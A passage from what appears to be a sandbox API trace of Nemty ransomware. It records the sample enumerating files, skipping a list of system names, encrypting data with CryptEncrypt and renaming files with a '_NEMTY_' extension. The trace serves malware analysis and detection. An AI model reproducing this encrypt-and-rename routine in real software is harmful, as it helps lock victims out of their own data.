returned 0 [0079.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.002] CloseHandle (hObject=0xffffffff) returned 0 [0080.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0080.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0080.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0080.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0080.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0080.003] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png._nemty_kgobjgd_")) returned 0 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.003] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2=".") returned 1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="..") returned 1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="...") returned 1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="windows") returned -1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="$RECYCLE.BIN") returned 1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="rsa") returned -1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="NTDETECT.COM") returned 1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="ntldr") returned 1 [0080.003] lstrcmpiW (lpString1="push_item.png", lpString2="MSDOS.SYS") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="IO.SYS") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="boot.ini") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="boot.ini") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="AUTOEXEC.BAT") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="ntuser.dat") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="desktop.ini") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="CONFIG.SYS") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="RECYCLER") returned -1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="BOOTSECT.BAK") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="bootmgr") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="programdata") returned 1 [0080.004] lstrcmpiW (lpString1="push_item.png", lpString2="appdata") returned 1 [0080.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_item.png", lpUsedDefaultChar=0x0) returned 13 [0080.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_item.png", lpUsedDefaultChar=0x0) returned 13 [0080.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_item.png", lpUsedDefaultChar=0x0) returned 13 [0080.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0080.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push_item.png", lpUsedDefaultChar=0x0) returned 13 [0080.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0080.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0080.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0080.004] Sleep (dwMilliseconds=0x5) [0080.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3563110, dwHighDateTime=0x1d561e7)) [0080.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3563110, dwHighDateTime=0x1d561e7)) [0080.010] GetLastError () returned 0x5 [0080.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.010] GetLastError () returned 0x5 [0080.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.011] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0080.011] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="8Hmw5T2eKwDnm54EKy6yhUDvTCvMxfoA3N0rBrYiNbjxMNTjOAO97WsP2IaKgdXb\r\nqXIGhTCmasqVqNGA2o9J1S2vrN+8cwMJcSdQB4mnRwww1pPfx6BxTm9LFKwrkmKD\r\nMP38ZyjAqqCaU/nz4+GSHtJogSkPjtLejCacjzPN7tPgAEh5pMzVugfCVtFChQIl\r\ntrTZS/rB1hrdtZnlX/nVpvQkV97FOL7fmE8eNRb5pnNrrmDHyFO/odOL9K24SXBM\r\n2S3mrw/XmMllycIf2cmSzG6lS7KT0bcmgkLpvNY0OkvEOxxXbK0+YDn121y8hZ1b\r\nciaoV+U952lXhMPriZ5m0g==\r\n", pcchString=0x653e91c) returned 1 [0080.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0080.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.011] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.011] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.119] CloseHandle (hObject=0xffffffff) returned 0 [0080.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0080.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0080.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63402c8 [0080.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0080.119] HeapFree (in: 